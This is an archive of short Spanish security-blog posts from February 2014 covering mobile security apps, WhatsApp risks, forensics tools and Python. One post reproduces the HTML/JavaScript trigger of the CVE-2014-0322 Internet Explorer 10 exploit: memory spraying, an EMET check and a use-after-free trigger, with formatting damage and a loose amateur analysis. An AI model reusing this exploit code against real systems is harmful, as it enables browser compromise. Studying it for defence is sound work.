Este blog ya no está activo, sigue informándote aquí:

viernes, 28 de febrero de 2014

Latch.- El Pestillo Que Deberíamos Llevar.

Si ayer hablamos de lo que tuve tiempo de ver en el Mobile World Congress, hoy os voy ha hablar de lo que me hubiera encantado que me vendieran (ya sabéis hablar, preguntar, etc ) y no tuve tiempo para ello. Me estoy refiriendo a Latch la nueva aplicación para la seguridad de nuestras cuentas, disponible en Iphone, Android, Windows Phone y FirefoxOS. 


" "Latch" (cuyo nombre se traduce a "pestillo" en español) consiste en crear un cierre virtual de una determinada cuenta cuando al usuario así lo elige. Esto significa que, incluso cuando una persona tiene los datos de acceso (nombre de usuario y/o correo electrónico y contraseña) no va a poder acceder a esa información."


La verdad que es una solución de seguridad orientada al usuario. Es una app muy intuitiva y consta de muchísima información al respecto, solo hace falta pasarse [por su pagina] para comprobar que realmente ha "tutoriales" de calidad para que un usuario medio pueda desenvolverse en ella con soltura. 

A mi aun me quedan muchas cosas que testear sobre esta aplicación pero si os interesa, también hay una [área dedicada a los desabolladores]. 

Fuente:
Sed Buenos mientras yo juego con esta app ;) 

Mobile World Congress.- Samsung KNOX- BOYD Problem?

Ayer a las una de la mañana un amigo me facilito la oportunidad de poder ir al Mobile World Congress. De los que me seguís en Twitter sabréis que mis ganas por asistir al evento eran desmesuradas, imaginaros como estaba que la lié en el registro un par de veces. (Solo diré que me han denegado la entrada de prensa xD) Bueno, al final he podido entrar y ahora puedo decir que [FriendsandJob] y [Hackstory] estuvieron allí. 

Cara de felicidad ++ xD

Aunque solo he podido estarme una hora, por motivos de trabajo, me ha dado tiempo de ver casi todo lo que quería. Pero, lo mas me ha sorprendido es encontrarme un Whitpaper en el stan de Samsung hablando sobre Samsung KNOX un sistema de seguridad que, a mi parecer, demandaba el mercado y sobretodo las empresas desde hace tiempo. 



Samsung KNOX garantiza nuestra seguridad tanto dentro como fuera de nuestra empresa. A mi parecer no se han dejado nada en tintero, os lo resumo un poco: 

Esta plataforma de seguridad implementa tres protocolos:
  • Customizable Secure Boot: Muy parecido a la Smart Screen de Windows, es capaz de bloquear el software que no este firmado o verificado
  • TrustZone-based Integrity Measurement Architecture:  Es la parte encargada de velar por el buen estado del kernel. Si este protocolo viera alguna variación sospechosa en el kernel actuaria en conscuencia. 
  • Android con seguridad reforzada (SE Android): Con esta parte podremos discernir sobre en que grados de protección queremos que estén nuestros datos.
También se ha pensado en la seguridad de las aplicaciones, no va a ser lo mismo el FlappyBirds que la app con la que llevas el correo de la empresa: 
  • Contenedor Samsung KNOX: Sencillamente es un contenedor donde meteremos la aplicaciones que no queremos que tenga contacto con las demás. Por ejemplo, mirando los permisos que les damos a ciertas aplicaciones no querremos que haya una que nos pida datos de correo electronico junto a la app citada arriba en la que llevaremos el correo de la empresa.
  • Sistema de cifrado de archivos: Podremos cifrar datos en AES-256 un cifrado algo cojo a mi gusto pero no deja de ser un cifrado. 
  • VPN: Solo remarcar,  que es la vpn del contenedor que os he comentado antes y que soporta métodos de cifrado IPSec o a la criptografía Suite B.
Pero si esto fuera poco aún hay mas disponemos de MDM (Mobile device management) así que muchas empresas que tienen serios problemas con el famoso BYOD (Bring Your Own Device) se deben estar frotando las manos con eso. 

Tu empresa nunca te podrá imponer un modelo de smartphone en concreto, pero si tu eres inteligente y sabes que manejas información confidencial mas te vale ponerte al día y darte cuenta de que la Seguridad y la fuga de datos pueden darte muchos dolores de cabeza. 

Sed Buenos ;)

miércoles, 26 de febrero de 2014

Stamphoto.- Certifica Tus Fotografías En Android.

Las nuevas tecnologías han llegado no solo para distraernos en el metro o tren de camino al trabajo, tambien pueden ayudarnos ha hacernos la vida mucho mas facil y, aunque la ley este obsoleta y anticuada,  porqué no también ayudarnos en términos legales. 

¿Nunca os habéis planteado por que una fotografía, un imprimir pantalla o un mail no son considerados como prueba o cuenta mucho demostrar que lo son? Esto es justamente porque no podemos demostrar el momento en el que fue tomada y siempre se podrán esgrimir argumentos en contra alegando que una posible falsificación. ¿Pero que pasaría si pudiéramos hacer un imprimir pantalla y que una empresa nos certificara la prueba? Seria totalmente valido como prueba. En el ámbito de los equipo de trabajo mas grandes como un PC o un Laptop ya existe [eGarante] y me ha hecho mucha gracia descubrir que existe [Stamphoto] una app para la certificar fotografías hechas a través de un smartphone Android.  


La app ha sido desarrollada por el equipo de [Lleida.net] y estara gratis, solo hasta el final del Mobile World Congress ...

Fuente: 

Sed Buenos y descargaros esta app que os puede venir muy bien ;) 

martes, 25 de febrero de 2014

Whatsapp/Facebook.- 5 Problemas De Seguridad Que los Usuarios Tienen Que Acarrear

Hoy coincidiendo con la envidia que me produce ver bolsas y mochilas del Mobile World Congress por el metro de Barcelona y con la ya popular compra de Whatsapp por parte de Facebook. Me gustaría hablaros de los problemas que puede tener Whatsapp ahora en cuento a su seguridad. Estos cinco problemas los he sacado de la pagina [welivesecurity] pero me parecen muy acertados así que no he dudado en escrivirlos yo también. 


"Campañas para propagar códigos maliciosos: dada la gran popularidad de la que goza WhatsApp, cada vez es más común encontrar campañas que se aprovechen de su imagen para propagar algún tipo de amenaza. Un ejemplo es el falso mensaje de WhatsApp que descarga Zeus, que aprovechó la popularidad de la aplicación para propagar un código malicioso para computadoras. " 
"Incremento en el spam y el phishing: los falsos mensajes que ofrecen nuevas funcionalidades como por ejemplo instalar Whatsapp en la PC o cambiar el color de Facebook son muy utilizados para tratar de robar contraseñas o información sensible. En este punto es importante tener en cuenta las declaraciones del fundador de WhatsApp, Jan Koum, manifestando que la aplicación no sería llevada a dispositivos diferentes de los smartphones."
"Disponibilidad: e poder contar con el servicio siempre que el usuario lo requiera es una de las principales características que debe tener una aplicación de mensajería instantánea. Dado el crecimiento en la base de usuarios, se hace cada vez más complejo mantener los niveles de disponibilidad. Menos de una semana después de la compra, Whatsapp sufrió un corte en su servicio que tuvo un impacto muy negativo en sus casi 430 millones de suscriptores, ya que muchos de ellos optaron por descargar Telegram, una aplicación parecida y que sin dudas forma parte de la su competencia directa." 
"Políticas de seguridad: Facebook se ha caracterizado por cambiar periódicamente los términos de servicio de la red social y WhatsApp ha sido investigada por gobiernos de diferentes países ya que de acuerdo a legislaciones locales no se asegura la seguridad de la información de sus ciudadanos. Como usuarios de estas aplicaciones es muy importante estar al tanto de los cambios implementados para saber qué tan segura está nuestra información."
"Uso de otras aplicaciones: funcionalidades de seguridad y autodestrucción como las que ofrece Telegram, son características que llaman la atención de muchos usuarios. En los últimos años WhatsApp sufrió incidentes de seguridad relacionados con el cifrado de los mensajes hasta vulnerabilidades que permiten secuestrar cuentas y mensajes; cuestiones que dejan abierta la discusión acerca de lo segura que resulta esta aplicación."
 La verdad es que están perfectamente explicadas y yo no podría aportar nada mas. Os dejo el enlace al articulo entero aquí abajo para que le echéis un ojo. Realmente vale la pena y quien sabe, con los rumores que hay, si estos problemas no se repetirán.

Sed Buenos ;) 

Redes Sociales.- Un Punto De vista Desde Documentos Jurídicos.

No os asustéis por el titulo.  Hoy dado un vistazo [Míriada X] y sobretodo a uno de sus cursos sobre [Derecho y Rede sociales] me ha entrado la curiosidad y, como el derecho es la parte de perito que mas coja tengo, he decidido apuntarme y aprender un poco que me hace falta. 


Una de las cosas que me ha hecho mas gracia, es que el concepto de red social no estuviera definido jurídicamente hasta el 2009. Para poner un ejemplo, Facebook no entro en España hasta 2008. (Si lo digo mal que alguien me corrija please.) Así que desde la comisión europea se tubo que lanzar el dictamen 5/2009 para explicar que requisitos ha de tener una aplicación web para considerarse red social y la cual nos deriva a la ley de servicios de la información y del comercio electrónico. 

Aqui teneis el dictamen 5/2009 para los que seáis curiosos: 
La ley de servicios de la información y del comercio electrónico 34/2002 sera la ley que toda red social deberá seguir. Al vivir en un mundo donde todos los países están interconectados y esgrimen su propia ley ... ¿Cual tenemos que aplicar?

Si nos miramos el  artículo 4 encontraremos algo tan curioso como esto: 
"Los prestadores de servicios de la sociedad de la información que presten sus servicios de manera especifica al público español, han de cumplir con la legislación español"
Aquí tenéis la ley para ojearla también:


Vale, estando claro que las redes sociales que estén alojadas en España tiene que seguir la legislación española,  (esto se explica también en los primeros artículos de la ley 34/2002) mi pregunta fue la siguiente:  ¿Qué se entiende por prestar sus servicios de manera especifica? 

Esto, esta aun muy verde, pero partiendo de la Resolución del Tribunal de Justicia Europea referente al derecho al olvido (Si, el famoso) se a la siguiente cita: 
 "El prestador de servicio con independencia que se encuentre fuera del territorio nacional ha de cumplir con la legislación española si tiene un establecimiento abierto al publico" 
Desde ese establecimiento tendría que comercializar publicidad para sus servicios o productos. Si no lo tiene, se aplicarán las leyes de fuera. 

Si alguien me lo contra dice estaré encantado de aprender mas,  pero como veis estamos utilizando una ley del 2002 para intentar encontrar un marco normativo para las redes sociales. Lo cual, me hace pensar en lo obsoletas que están nuestras leyes ahora por ahora. 

Siento que haya sido un tostón pero hoy sentía curiosidad y nunca va mal saber un poco de todo ¿no?

Sed Buenos ;)

lunes, 24 de febrero de 2014

Oryon C.- El Navegador Para Invesitgadores.

Muchas veces me gusta entrar en la web de [ForensicFocus] una pagina que si no la conocéis y os gusta la Informatica forense no podéis dudar en visitar. Pero mas me gusta ver los nuevos juguetes que hay para descargar de tanto en cuanto. Hoy me ha llamado la atención un navegador Portable llamado Oryon C así que he esta jugando un rato con el. 


Por el poco rato que he podido trastear con ella me he dado cuenta que cuenta con un montón de extensiones instaladas o preinstaladas muy utiles, pero lo que mas me ha gustado es lo bien ordenadas las paginas de favoritos, las cuales están cuidadosamente seleccionadas para ayudarte en la investigación y que no tengas que preocuparte en acordarte de las direcciones o poder hacer la misma consulta en mas de una pagina, para contrastar falsos positivos. La verdad bastante util y si os gustan tanto los navegadores raros como a mi, sabréis apreciarlo.

¿Que contiene?
▪ Based on SRWare Iron version 31.0.1700.0 (Chromium)
▪ More than 70 pre-installed tools to support investigators in their everyday work
▪ More than 600 links to specialized sources of information and online investigative tools
▪ Additional privacy protection features
▪ A ready to use opml file containing a sorted collection of information sources in the fields such as: OSINT, Intelligence, online research, InfoSec, defense, and more.
Lo podéis descargar desde aquí:

También os he subido el pdf con documentación de este navegador que encuentras una vez lo has descomprimido a mega para que podáis leerlo antes de bajar la herramienta. 

domingo, 23 de febrero de 2014

El Lenguaje R.- La Curiosidad Es Proporcional Al Salario

Ayer por la noche curioseando mis ultimas cosas en Facebook  me tope con el articulo de [genbeta.dev sobre las dies tecnologias mejor pagadas que un programador puede aprender] así que me puse a curiosear las cifras y me sorprendió encontrar un lenguaje de programación llamado R en el primer puesto seguido muy de cerca por NOSQL (Esto no me sorprende para nada, es lo que se lleva xD). La verdad es que me entro curiosidad y empece a buscar mas información sobre el.

Lista de tecnologias y el pago de estas. 

"R es un lenguaje y entorno de programación para análisis estadístico y gráfico.
Se trata de un proyecto de software libre, resultado de la implementación GNU del premiado lenguaje S. R y S-Plus -versión comercial de S- son, probablemente, los dos lenguajes más utilizados en investigación por la comunidad estadística, siendo además muy populares en el campo de la investigación biomédica, la bioinformática y las matemáticas financieras. A esto contribuye la posibilidad de cargar diferentes bibliotecas o paquetes con finalidades específicas de cálculo o gráfico.
R se distribuye bajo la licencia GNU GPL y está disponible para los sistemas operativos Windows, Macintosh, Unix y GNU/Linux."

No muy satisfecho con la información que había en la Wikipedia me he puesto esta tarde a indagar un poco mas para ver si algunas universidades tocaban este tema y si habia una base en la que me pudiera sustentar a parte del [estupendo paper que salia en el articulo] y que se encuentra en la pagina principal del proyecto al cargo del Lenguaje R. Pero, me conozco y se que tarde o temprano necesitare algo mas.

Tenia curiosidad, pero mas curiosidad me ha entrado cuando he visto que la UB (Universitat de Barcelona) tenia unas Slides del año 2007 Horrorosas a mi gusto, pero útiles. Aunque, quería algo mas reciente. (ya sabéis lo que cambian los lenguajes de programación de un año para el otro.)


Pero al final he encontrado unas slides que se adecuan mucho a mi, explicadas para un usuario de Windows, sencillas, visuales y rápidamente explicadas. Os las recomiendo. 


Con esto dicho, me voy a poner a leerme un poco mas el paper porque de momento me esta pareciendo un lenguaje sencillo y creo que en algún tiene que haber.  Ademas, es muy posible que le dedique alguna entrada en Mi hora de Código así que he de estar preparado. 

Sed Buenos ;) 

viernes, 21 de febrero de 2014

Se Me Han Adelantado.- Python Detectar Unidades (HDD o FlashDrives)

Como ya supongo que sabréis  le estoy aprendiendo Python a marchas forzadas, (bueno todo lo rápido que me puedo permitir con el tiempo que tengo xD) y hace unas semanas hablando con Snifer para practicar se nos ocurrió trabajar en un script para detectar que unidades habían sido extraídas o conectadas a un equipo. A los dos nos gusta el Peritaje Informático Forense y estábamos recopilando información para ver como nos lo podíamos montar cuando ayer por la noche, Snifer me pasó un link al foro de [underc0de] donde el usuario k0ws ya había posteado un detector con el siguiente código: 
import win32file as file
import win32api as api
def cUnidades():
listdrives = api.GetLogicalDriveStrings().split("\x00")
i = 0
print "Lista de FlashDrives o HDD: "
for drive in listdrives:
if len(listdrives) == (i + 1):
break
if (file.GetDriveType(listdrives[i])) == 2:
try:
api.GetDiskFreeSpace(listdrives[i].replace('\\',''))
print listdrives[i] + " - Conectado"
except:
print listdrives[i] + " - Desconectado"
if (file.GetDriveType(listdrives[i])) == 3:
try:
api.GetDiskFreeSpace(listdrives[i].replace('\\',''))
print listdrives[i] + " - Conectado"
except:
print listdrives[i] + " - Desconectado"
i = i + 1
cUnidades()
Fuente:
La verdad es que lo he estado mirando con recelo la primera vez que lo vi,  pero ahora entiendo lo bien que esta hecho y que, aunque yo modificara algunas cosas (Nah, solo algunas añadiría opciones/Ideas) es muy buena base y quiero trabajar en ello. La verdad es que es muy sabia la utilización de win32 api y win32 file he de investigar mas sobre ello.

Os dejo este script para que lo utilicéis por que merece mucho la pena. 

Sed Buenos ;) 

jueves, 20 de febrero de 2014

DDoS.- Business is Business

Hace unas horas que [Facebook ha comprado WhatsApp] por ni mas ni menos que 13.800 millones de dolares ([OJO esta cantidad varia dependiendo el diario]) (comparándolo los 1000 millones que costo Youtube a Google parecen una tontería xD) y puesto que estaba enfrascado en la lectura del informe que ha sacado la empresa PROLEXIC sobre la repercusión sobre los ataques DDoS que tienen como destino valores de mercado (Si, ¡¿Como no se nos ha ocurrido a todos los Hackers invertir en bolsa ?!) me he puesto a pensar en lo que pasaría con Facebook ahora que sus acciones no están en su mejor momento y que si WhatsApp recibiera un buen DDoS en las primeras semanas de su lanzamiento con Facebook tendría sobre la opinion del servició.


Así que yo me iría con mucho ojo por que el Business es Business y como bien se describe en el paper que os dejare abajo, en el mundo de las gacelas la que corre menos es a la que se comen. Así que seria muy aconsejable que muchas de las compañías españolas escucharan un poco y se pusieran las pilas para evitar estos ataques tan fáciles de hacer.

(Me encanta esta película)

Aquí tenéis en enlace al informe que hará que invirtamos en bolsa y empiece una guerra entre nosotros tirándonos nuestras propias maquinas para augmentar o disminuir valores ... si no esta pasando ya.

Sed Buenos 0;) 

martes, 18 de febrero de 2014

(CVE-2014-0322).- Mas De Información Sobre el 0'day De IE

Si os acordáis hace tres días (cuatro depende como los cuentes xD) escribir sobre el nuevo [0'day para IE] el cual había mucha historia por detrás de la cual aun no he podido enterarme. Pero ya puestos a saber mas sobre la historia me dedique a buscar mas información sobre como funcionaba este exploit y la encontré. Me lo baje rápido y empece a mirarlo junto con la explicaciones de [Blackploit] (un blog que os recomiendo encarecidamente.)


Como podéis ver en el .rar solo había un archivo .html, un .swf y otro .as3 y partiendo de la premisa de que es una ataque centrado en IE 10 y Adobe Flash y  que es necesario un "liberación" previa ([use-after-free]) huele mucho tener un .swf (Adobe Flash tampoco defrauda xD) 

Así que eche un repaso al código fuente del .html en busca de algún script o algún embed que diera lugar a la "reproducción" (no se como decirlo mejor) de este Tope.swf y me sorprendieron un par de cosa. 

<html>
<head id="headId">
<title>main page</title>
<script>
function dword2data(dword) { 
var d = Number(dword).toString(16); 
while (d.length < 8) 
d = '0' + d; 
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); 


function developonther(txt) { 
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); 
xmlDoc.async = true; 
xmlDoc.loadXML(txt); 
if (xmlDoc.parseError.errorCode != 0) { 
var err; 
err = "Error Code: " + xmlDoc.parseError.errorCode + "\n"; 
err += "Error Reason: " + xmlDoc.parseError.reason; 
err += "Error Line: " + xmlDoc.parseError.line; 
if (err.indexOf("-2147023083") > 0) { 
return 1; 
} else { 
return 0; 
return 0; 
var g_arr = []; 
var arrLen = 0x250; 

function fun() { 

var a = 0; 
for (a = 0; a < arrLen; ++a) { 
g_arr[a] = document.createElement('div') 
}; 
var b = dword2data(0xdeadc0de); 
var c = 0x1a1b2000; 
while (b.length < 0x360) { 
if (b.length == (0x94 / 2)) { 
b += dword2data(c + 0x10 - 0x0c) 
} else if ( 
b.length == (0x98 / 2)) { 
b += dword2data(c + 0x14 - 0x8) 
} else if (b.length == (0xac / 2)) { 
b += dword2data(c - 0x10) 
} else if (b.length == (0x15c / 2)) { 
b += dword2data(0x42424242) 
} else { 
b += dword2data(0x1a1b2000 - 0x10) 
}; 
var d = b.substring(0, (0x340 - 2) / 2); 
try { 
this.outerHTML = this.outerHTML 
} catch (e) {} 
CollectGarbage(); 
for (a = 0; a < arrLen; ++a) { 
g_arr[a].title = d.substring(0, d.length); 
function puIHa3() { 

var bamboo_go = "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'res://C:\\windows\\AppPatch\\EMET.DLL'>"; 

if (navigator.userAgent.indexOf("MSIE 10.0") > 0) { 
if (developonther(bamboo_go)) { 

return; 
var a = document.getElementsByTagName("script"); 
var b = a[0]; 
b.onpropertychange = fun; 
var c = document.createElement('SELECT'); 
c = b.appendChild(c); 
} else if (navigator.userAgent.indexOf("IE10") > 0) { 
if (developonther(bamboo_go)) { 

return; 

var a = document.getElementsByTagName("script"); 
var b = a[0]; 
b.onpropertychange = fun; 
var c = document.createElement('SELECT'); 
c = b.appendChild(c); 
</script>
<embed src=Tope.swf width=10 height=10></embed>
</head>
</html>
La verdad es que no llego a saber que hace todo el código correctamente, pero esta claro que utiliza el script para embeder el Tope.swf que esta claro que estará preparado para hacer que Adobe Flash nos de la magia que necesitamos. Ademas de tener un ancho y una altura casi menospreciables. 

Una de las cosas que mas me a gustado es la inclusión de la función fun no podemos discutir que se lo estaba pasando bien cuando programaba esto. Otra cosa que mas me gusta son las continuas comprobaciones que hace para ver si el navegador esta utilizando IE10 y la utilización de la variable bamboo_go (Esta ultima me entraña  bastante curiosidad y por mas que he buscado no tengo ni idea del porqué).

Hacia mucho que no hacia una entrada tan didáctica, para mi quiero decir. Sentarme, "analizar" (si se le puede llamar así) el código y intentar entender lo que hace. Yo aprendo mucho de esta manera aunque algunos os parezca una tontería.  

Por ultimo me gustaría recomendaros el blog de Blackploit del cual es fuente de todo este articulo y fuente también de este material. Os dejo el enlace al blog aquí abajo. 

ENISA.- Porque Todo Esta Conectado.

Aprovechando que dentro de nada Barcelona va ha hacer de anfitrión para el Mobile World Congres, es hora de parase a pensar en lo interconectado que esta el mundo de hoy. ¡Hasta las neveras tienen Internet! la verdad es que Internet nos ha facilitado mucho la vida aunque también se la ha facilitado a la tonelada de mafias que hay detrás de cada noticia o de cada Ransomware y en una época en que los niños ya naces con un smartphone bajo el brazo tenemos que empezar a tomar conciencia de nuestra seguridad y privacidad.

Por eso y aprovechando que hoy tenía un día "filosofico" con este tema me ha hecho especial gracia toparme cun un video que la ENISA (European Network and Information Security Agency) publico en 2013 y que resume muy bien la necesidad de encontrar medidas de protección que hay a día de hoy. 


Sed Buenos ;) 

domingo, 16 de febrero de 2014

Miríada X.- Cursos y Certificaciones.

Ya sabéis los que seguís este blog desde hace tiempo, los que no ahora ya lo sabéis, que siempre que tengo la posibilidad de recomendaros alguna pagina para que podáis encontrar trabajo o cursos. Por eso, no iba a ser menos al haber descubierto la web de [Miriada X] donde no solo hay muchos cursos, sino que están impartidos por profesores de universidades españolas y con certificado en la gran mayoría de ellos. 


Ademas tiene pinta de que dan caña de la buena, eso siempre va bien. Certificados, universidades, cursos gratuitos e interesantes, acumulación de puntos y un aspecto muy ameno ¿Que mas podemos pedir?


Sed Buenos y echadle un ojo que vale la pena ;) 

sábado, 15 de febrero de 2014

IE Nunca Defrauda.- Nuevo 0'Day IE10

Hace casi un año hablamos sobre una famosa vulnerabilidad en la [version 8 de Internet Explorer]  y de que estaba siendo usado en la técnica llamada [Watering Hole Attack]. Pues ayer se volvió a repetir pero esta vez tenemos la vulnerabilidad en la versión 10. Aunque con algo de historia o "especulación" debido a que fué servida desde la pagina web de U.S. Veterans of Foreign Wars.

Jerome Segura de la empresa Malwarebytes fue capaz de reproducir una infección exitosa en Windows 7 con Internet Explorer 10 y la última versión de Flash Player. Como señala Segura, el fallo de seguridad es "un error de uso después de liberación que da el atacante acceso directo a la memoria en una dirección arbitraria, usando un archivo corrupto de Adobe Flash, siendo capaz de pasar la protección Space Layout Randomization (ASLR) y Data Execution Prevention (DEP)".
Link al CVE de la vulnerabilidad:
Fuente y mas información sobre la historia que hay detrás de esta vulnerabilidad : 
Sed Buenos y Actualizad vuestro IE a la versión 11 ;) 

viernes, 14 de febrero de 2014

Hackplayers.- Como Distinguir Un Cajero Automatico Manipulado

Últimamente el la modificación de cajeros automáticos está a la orden del día y en una moda entre las ciertas "mafias". No es porqué nos lo hayan advertido en mas de una ponencia sobre seguridad informática ni porqué seamos unos paranoicos sino es que se ve a la legua que no se puede confiar ni de tu sobra. Por eso la gente de [Hackplayers] el dia 12 de febrero nos sorprendió con un post y un vídeo geniales al respecto localizando y "destripando" un cajero. Creo que esta es la forma mas clara y mas efectiva de hacer las cosas así que les felicito desde aquí por el vídeo porque queda clarísimo como tenemos que identificar un cajero para saber si está manipulado. Os dejo el vídeo y la fuente a continuación merece muchísimo la pena. 


Fuente: 

Sed Buenos y andaos con ojo.

jueves, 13 de febrero de 2014

Ojo Con Los Certificados SSL Falsos

Muchas veces he hablado con mis amigos sobre los peligros que hay al comprar un articulo en una pagina que no sea de confianza o sin el pertinente certificado SSL. Seria una locura no hacerlo, pero nunca caigo a explicarles que un certificado SSL puede ser falsificado y que deberían examinar ese certificado cada vez que quieran corroborar su seguridad. (Tampoco es tan seguro como quisiéramos todos, pero menos da una piedra.)



Este sistema de certificaciones es muy utilizado y no solo esta relacionado con las webs sino que cualquier software que haga una conexión a Internet puede elegir que esta conexión sea segura. De esta manera no tenemos que controlar solo el Https típico sino,  todos los certificados que recibe nuestro equipo cuando realiza peticiones a la red. 

Si extrapolamos esto a equipos mas pequeños como los smartphones y sus aplicaciones el resultado es el siguiente: 
"Las aplicaciones de banca en línea para dispositivos móviles son tentadores objetivos para ataques man-in-the-middle, como la validación de certificados SSL está lejos de ser trivial, y aplicaciones móviles a menudo no alcanzan el nivel de la validación realizada por los navegadores web. 40% de iOS- aplicaciones bancarias basadas probados por IO activa son vulnerables a este tipo de ataques porque no pueden validar la autenticidad de los certificados SSL presentadas por el servidor. 41% de las apps Android seleccionados resultaron ser vulnerables en las pruebas manuales de la Universidad Leibniz de Hannover y de la Universidad Philipps de Marburg en Alemania. Ambas aplicaciones y navegadores también pueden ser vulnerables si un usuario puede ser engañado para instalar certificados raíz sin escrúpulos a través de ingeniería social o de los ataques de malware, aunque este tipo de ataque está lejos de ser trivial en un iPhone. " Netcraft dijeron los investigadores."
Así que, solo mirar el certificado de una web nos dejaría medio expuesto a todos los demas factores de risgo.  (Seria como utilizar TOR cuando otro esta mirando tu pantalla sentado en la mesa de atrás)

No me lo tengáis en cuenta pero es que venia muy al hilo xD

Fuente: 
Sed Buenos ;) y que no os vea yo sin comprobar estos certificados. xD


miércoles, 12 de febrero de 2014

X1Red+Segura.- Descarga El Libro Y Compartelo.

Parece que ha pasado casi un siglo desde que escribí en este blog sobre el proyecto [X1Red+Segura] y la verdad es que no hable para nada del libro porque suponía que ya habría hablado muchísima gente de el pero, cada vez me doy mas cuenta que se agradece un montón cuando encuentras referencias a tu trabajo en otras partes. Así que, uno mas no hará daño y menos ahora que ya tenemos todo el libro muy bien empaquetado y con patrocinadores.


La verdad es que es un libro muuuuy completo, muuuuy sencillo de leer y explica muuuuy bien como protegernos de la mayoría de problemas que nos podemos encontrar en la red de redes. Os dejo el enlace para que os descarguéis este libro lo imprimáis y se lo hagáis llegar a vuestros familiares mas cercanos para que ellos también estén seguros en Internet.  


Sed Buenos y leed mucho ;) 

martes, 11 de febrero de 2014

Infografia.- Protección De Datos y el Parlamento Europeo

Hace ya unos meses que el Parlamento Europeo nos sorprendió con una excelente infografia y la verdad es que me hace pensar un poco mas en el mundo en el que vivimos, todos sabemos que un Windows, un Linux y un  MAC OS X son un coladero si mantenemos las protecciones de seguridad por defecto. Aunque no muchos llevan esto a la practica y solo un 16% tocaría esas opciones. Después pasa lo que pasa ... 



Fuente: 

... Sed Buenos aunque ande un poco enfadado ;) 

OWASP.- Top Ten De Riesgos en Cloud Computing

En este blog he hablado largo y tendido de [OWASP] y de lo que nos ayuda a seguir una metodología de trabajo para la seguridad informática. Ademas, es una fuente fiable de información y de noticias para mantenernos al día. Hoy OWASP ha publicado un Top Ten de Riesgos que nos podremos encontrar al usar "la cloud". 


Top 1.- Accountability and Data Ownership
Top 2.- User Identity Federation
Top 3.- Regulatory Compliance
Top 4.- Business Continuity and Resiliency
Top 5.- User Privacy and Secondary Usage of Data
Top 6.- Service and Data Integration
Top 7.- Multi Tenancy and Physical Security
Top 8.- Incidence Analysis and Forensic Support
Top 9.- Infrastructure Security
Top 10.-  Non Production Environment Exposure

Para una explicación mas detallada:
La verdad es que coincido con todos los puntos pero no en la disposición, pero eso ya son opiniones mias que podremos discutir con un cerveza. 

Fuente: 

domingo, 9 de febrero de 2014

Easy Bypass.- Como Hacer Fotos En tu Smartphone Con Batería Baja

Se que a muchos os sonará este "truco" o que hace mucho tiempo que esta, pero va bien despejar las dudas para aquellos que no lo sepan. Ademas es mejor método para tener siempre a mano una cámara de fotos cuando sales de fiesta a las tantas de la noche y no te has acordado de cargar tu smartphone. 

He de explicaros que esta entrada se me ha ocurrido mintras estaba subiendo a mi casa así que por eso veis la calle en el primer imprimir pantalla y un escritorio en la segunda mientras estaba probando esto. También he de decir que está probado en un Samsung Galaxy ACE. 

Como siempre pasa en cuando tenemos poca batería aparece la alerta que muchos conocen como "el mensaje de los cojones". 


El bypass es muy simple abrimos la aplicación de Facebook, Twitter o Snapchat que seguramente tendremos instalada y le damos a hace una foto. 


Ahora ya podemos hacer las ultimas fotos de la noche. 


Sed Buenos ;) 

viernes, 7 de febrero de 2014

Paper.- Alert(1) to Win! #Recomendado

Hace unos días descubrí este paper visitando el blog de mi buen amigo [Snifer] y la verdad es que despues de leerlo me ha encantado y quería que llegara a mucha mas gente. Por eso hoy voy a venderos el paper Alert(1) to Win o 16 ejercicios resueltos y explicados sobre XSS ([Cross-Site Scripting]) escrito por [Daniel Díez] y [Pepe Villa]


Alert(1) to Win aparte de ser un paper que explica que es un XSS desde cero prácticamente, nos pone en la piel de retos de todo tipo especificando el vector de ataque y una larga explicación del porque. Si sois como yo os sentires saciados al encostrar que todas estas explicaciones están muy bien redactadas para que no haya ninguna duda. 

La verdad un paper la mar de entretenido el cual cada día estoy mas convencido que quiero imprimirlo. Para los que tengáis curiosidad os dejo el enlace al paper. 
Sed Buenos con esto 0;)

jueves, 6 de febrero de 2014

DVIA.- Damn Vulnerable iOS Application

Esta muy bien la aparición de nuevos métodos para testear nuestras habilidades en terrenos en los que no tendríamos fácil acceso. Después de haber hablado en este blog sobre metasploitable y DVWA (Damn Vulnerable Web Application ) me encanta que sigan apareciendo nuevos proyectos como estos. Así que me ha alegrado mucho el día encontrarme con DVIA una app para reventarla. 

"Damn Vulnerable iOS App (DVIA) is an iOS application that is damn vulnerable. Its main goal is to provide a platform to mobile security enthusiasts/professionals or students to test their iOS penetration testing skills in a legal environment. This application covers all the common vulnerabilities found in iOS applications (following OWASP top 10 mobile risks) and contains several challenges that the user can try. This application also contains a section where a user can read various articles on IOS application security. This project is developed and maintained by @prateekg147. The vulnerabilities and solutions covered in this app are tested upto iOS 7.0.4"

La verdad es que ya se me acumulan demasiadas cosas  pero bueno va directo al bloque de "con ganas de empezar". Para los que podais os dejo en enlace aquí abajo.
Sed Buenos y dad le caña a esto  ;) 

No Seas Como Julia, Tapa tu WebCam

Hace casi un año empece con una serie de entradas intentando acabar con la típica frase de [¿Para que me van a atacar a mi?] la cual, me irritaba tanto y me sigue irritando ya que me lo suelen decir las personas que menos entienden de seguridad informática. 

Hay muchas herramientas para espiar a otra persona por su webcam la mayoría son llamadas creepyware pero muchas de ellas hacen posible que se os grave sin que se encienda el leed. Si, el leed no es garantía de nada y por eso (y si le sumamos nuestra constante paranoia) cada vez mas gente tiene la webcam de sus portátiles tapada ya que no llevarla puede conllevar a tener mas problemas de los que seguramente queréis. La verdad es que me ha hecho mucha ilusión encontrarme con un cortometraje que os dará que pensar. 


Espero que os haga reflexionar un poco si os merece la pena taparla o no. 


Sed Buenos ;) 

martes, 4 de febrero de 2014

The Hacker Way.- Hacking Con Python Videoblog.

hoy ha sido mi segundo día dedicado a Python la verdad es que me encanta empezar a crear código y aun me gusta mas que [The Hacker Way] haya sacado el primer episodio de su videoblog dedicado al Hacking con Python. El cual, gratamente, utilizare para experimentar para cuando aprenda un poco mas de este lenguaje de programación. 


La verdad es que es altamente recomendable y pero que sigan saliendo mas. Para los que quierais saber mas os dejo la dirección del blog a la explicación del proyecto. 
Yo voy raudo y veloz a  volver a verme el video de hoy a ver si se me pega algo del código que a usado en el script. 

lunes, 3 de febrero de 2014

Rooted Warfare.- ¡Al Arsenal Muchachos!

